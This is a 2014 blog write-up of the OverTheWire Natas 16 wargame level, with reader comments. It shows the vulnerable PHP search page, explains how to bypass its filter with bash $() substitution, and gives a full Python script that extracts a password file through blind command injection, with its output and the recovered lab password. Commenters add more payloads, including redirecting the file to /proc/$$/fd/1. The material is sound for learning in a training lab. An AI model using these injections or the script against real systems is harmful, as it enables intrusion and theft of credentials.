Wednesday 8 October 2014

Wargames - Natas 16

<< Previous challenge

Recommended reading:
From the credentials discovered from the previous challenge, head up to http://natas16.natas.labs.overthewire.org and take a look at its content.
This challenge puts together multiple challenges we've seen before, it uses the command injection like in natas10 as well as brute forcing from the previous challenge.
As always, check the website, it's identical to natas10, but we're told there's even more filters on characters, let's take a look at the source:
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas16", "pass": "<censored>" };</script></head>
<body>
<h1>natas16</h1>
<div id="content">

For security reasons, we now filter even more on certain characters<br/><br/>
<form>
Find words containing: <input name=needle><input type=submit name=submit value=Search><br><br>
</form>


Output:
<pre>
<?
$key = "";

if(array_key_exists("needle", $_REQUEST)) {
    $key = $_REQUEST["needle"];
}

if($key != "") {
    if(preg_match('/[;|&`\'"]/',$key)) {
        print "Input contains an illegal character!";
    } else {
        passthru("grep -i \"$key\" dictionary.txt");
    }
}
?>
</pre>

<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>
We've seen most of this before, but this time around, they really put some effort in preventing injections. On line 31 we can see that we can't use some metacharacters (;, |, &, `, ', ") and on line 34 we see that that the $key variable is enclosed in double quotes.
If you're familiar with bash scripting, there's an interesting feature named command substitution, there're two ways to achieve this, one is using backquotes around a command (`cat /etc/natas_webpass/natas17`), the other is by enclosing the command in $() ($(cat /etc/natas_webpass/natas17)). The backquotes we can't use, but the $() we can. So this is our entry point to command injection in this challenge. 
Although we now know how to inject code, we're still limited by the filtering and the fact that whatever we inject, is going to be part of the regexp that's used to search in dictionary.txt. Here's an example of what we're working with: If we inject $(echo A), this is what is going to be executed:
grep -i "$(echo A)" dictionary.txt
Which will turn into:
grep -i "A" dictionary.txt
So that injection is the same as sending an A, which will return every word that has an A (or a, it's case insensitive).
The reason this challenge comes right after the previous one is because the logic behind it is very similar, it just differs on the type of injection, last one being SQL and this one plain bash. The principle of building the the password sequentially still applies, we just need to figure out a way to do so. From the previous challenge, we already have several assumptions on how the password looks like, let's apply the same logic and method from the last challenge:
First we need to parse the 62 possible characters to know which ones are present in the password, this will speed up the brute forcing, then we must iterate the possible characters and sequentially build the 32 characters long password. In order to achieve this, we must make use of the command that's already being executed, that searches for the string in the dictionary, here's now we can do it:
We know that by sending a character in the form, we get all words that have that character, if we send a specific word, it will only match that word. We're going to start by picking a word that will have a single match, for example whackedI started with hacked, but it has a w before and we want a match with no prefixes available, because we're injecting characters before the word. We also know that grep will not return anything if there is no match, with this in mind, we can grep the characters from the password file with the word we picked appended, if we get no output, the character exists, if we get output, the grep returned empty and we get word of the dictionary, this is why we must choose a word that has no possible prefixes. This might sound a little confusing, here's an example on how it works. We want to check if a exists on the password, this is what we inject:
$(grep a /etc/natas_webpass/natas17)whacked
This will execute the following command:
grep -i "$(grep a /etc/natas_webpass/natas17)whacked" dictionary.txt
The resulting output will either be empty or the word whacked, if it's empty, the inner grep found a match in the password file, so there's no match in the dictionary for the word awhacked, if it's not empty, the inner grep had no return and the outer grep matched whacked. Now we can automate this using Python, like we did previously, and this is what it looks like:
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
# Created by Joao Godinho
#       October 2014
# Script to brute force level 16 of natas wargames
# Refer to http://floatingbytes.blogspot.com for details

# Library to work with the POST requests
import requests

# All possible characters
allChars = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
# Parsed characters, the ones that actually exist in the password
parsedChars = ''
# Final Password
password = ''
# Our target URL
target = 'http://natas16:WaIHEacj63wnNIBROHeqi3p9t0m5nhmh@natas16.natas.labs.overthewire.org/'
# The string that tells we're on the right path
existsStr = 'Output:\n<pre>\n</pre>'

# Checking if we can connect to the target, just in case...
r = requests.get(target)
if r.status_code != requests.codes.ok:
        raise ValueError('Kabum? Couldn\'t connect to target :(')
else:
        print 'Target reachable. Starting character parsing...'

# The fun begin, let's see what characters are actually part of the pwd
for c in allChars:
        # Command injection #1
        r = requests.get(target+'?needle=$(grep '+c+' /etc/natas_webpass/natas17)whacked')
        # So does the password use this char?
        if r.content.find(existsStr) != -1:
                parsedChars += c
                print 'Used chars: ' + parsedChars

print 'Characters parsed. Starting brute force...'

# Assuming password is 32 characters long
for i in range(32):
        for c in parsedChars:
                # Command injection #2
                r = requests.get(target+'?needle=$(grep ^'+password+c+' /etc/natas_webpass/natas17)whacked')
                # Did we found the character at the i position of the password?
                if r.content.find(existsStr) != -1:
                        password += c
                        print 'Password: ' + password + '*' * int(32 - len(password))
                        break

print 'Done. Have fun!'
The script is pretty much the same has the previous one. Here's its output:
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
Target reachable. Starting character parsing...
Used chars: 0
Used chars: 03
Used chars: 035
Used chars: 0357
Used chars: 03578
Used chars: 035789
Used chars: 035789b
Used chars: 035789bc
Used chars: 035789bcd
Used chars: 035789bcdg
Used chars: 035789bcdgh
Used chars: 035789bcdghk
Used chars: 035789bcdghkm
Used chars: 035789bcdghkmn
Used chars: 035789bcdghkmnq
Used chars: 035789bcdghkmnqr
Used chars: 035789bcdghkmnqrs
Used chars: 035789bcdghkmnqrsw
Used chars: 035789bcdghkmnqrswA
Used chars: 035789bcdghkmnqrswAG
Used chars: 035789bcdghkmnqrswAGH
Used chars: 035789bcdghkmnqrswAGHN
Used chars: 035789bcdghkmnqrswAGHNP
Used chars: 035789bcdghkmnqrswAGHNPQ
Used chars: 035789bcdghkmnqrswAGHNPQS
Used chars: 035789bcdghkmnqrswAGHNPQSW
Characters parsed. Starting brute force...
Password: 8*******************************
Password: 8P******************************
Password: 8Ps*****************************
Password: 8Ps3****************************
Password: 8Ps3H***************************
Password: 8Ps3H0**************************
Password: 8Ps3H0G*************************
Password: 8Ps3H0GW************************
Password: 8Ps3H0GWb***********************
Password: 8Ps3H0GWbn**********************
Password: 8Ps3H0GWbn5*********************
Password: 8Ps3H0GWbn5r********************
Password: 8Ps3H0GWbn5rd*******************
Password: 8Ps3H0GWbn5rd9******************
Password: 8Ps3H0GWbn5rd9S*****************
Password: 8Ps3H0GWbn5rd9S7****************
Password: 8Ps3H0GWbn5rd9S7G***************
Password: 8Ps3H0GWbn5rd9S7Gm**************
Password: 8Ps3H0GWbn5rd9S7GmA*************
Password: 8Ps3H0GWbn5rd9S7GmAd************
Password: 8Ps3H0GWbn5rd9S7GmAdg***********
Password: 8Ps3H0GWbn5rd9S7GmAdgQ**********
Password: 8Ps3H0GWbn5rd9S7GmAdgQN*********
Password: 8Ps3H0GWbn5rd9S7GmAdgQNd********
Password: 8Ps3H0GWbn5rd9S7GmAdgQNdk*******
Password: 8Ps3H0GWbn5rd9S7GmAdgQNdkh******
Password: 8Ps3H0GWbn5rd9S7GmAdgQNdkhP*****
Password: 8Ps3H0GWbn5rd9S7GmAdgQNdkhPk****
Password: 8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq***
Password: 8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9**
Password: 8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9c*
Password: 8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw
Done. Have fun!
This time it took a little more the brute force the password, but we got it anyway.

User natas17
Password 8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw

This time around it was more challenging, due to not being so obvious on where and how to exploit, but it ended it being pretty similar to the previous one.

Never Settle,

<< Previous challenge

10 comments:

  1. Line 40: Should be 'for c in parsedChars' instead of allChars

    Otherwise, nice writeup!

    ReplyDelete
    Replies
    1. You're right, I've fixed it, thanks :)

      Delete
  2. hi ad, when I run ur code, i have a problem
    Traceback (most recent call last):
    File "C:\Users\hoangcode\Desktop\main.py", line 25, in
    if r.content.find(existsStr) != -1:
    TypeError: a bytes-like object is required, not 'str'

    can u help me fix it, thanks!

    ReplyDelete
    Replies
    1. This comment has been removed by the author.

      Delete
    2. Try to use that:
      "if r.content.find(bytes(existsStr, 'ascii')) != -1:"
      It worked for me

      Delete
  3. Instead of probing which letters are present in your password (phase 1 of your algorithm) you can use "cut -b" to directly find all letters in the password. You need to resolve lower vs upper case (= 1 query) and the numbers (on average 5 queries).

    This reduces the number of queries to 50-ish.

    ----
    tnecniV

    ReplyDelete
    Replies
    1. Numbers can be caught in one shot by using a regex like: ^.\{$(cut -c 1 /etc/natas_webpass/natas17)\}$ which will return only words with the specified amount of numbers :)

      Delete
  4. After reading your writeup, I realize I bypassed the intended solution. It's possible with $(cat /etc/natas_webpass/natas17 > /proc/$$/fd/1).

    ReplyDelete
    Replies
    1. Smart move, I'll definitely will remember procfs whenever I'm faced with command injections!

      Thanks!

      Delete
    2. This man is a genius

      Delete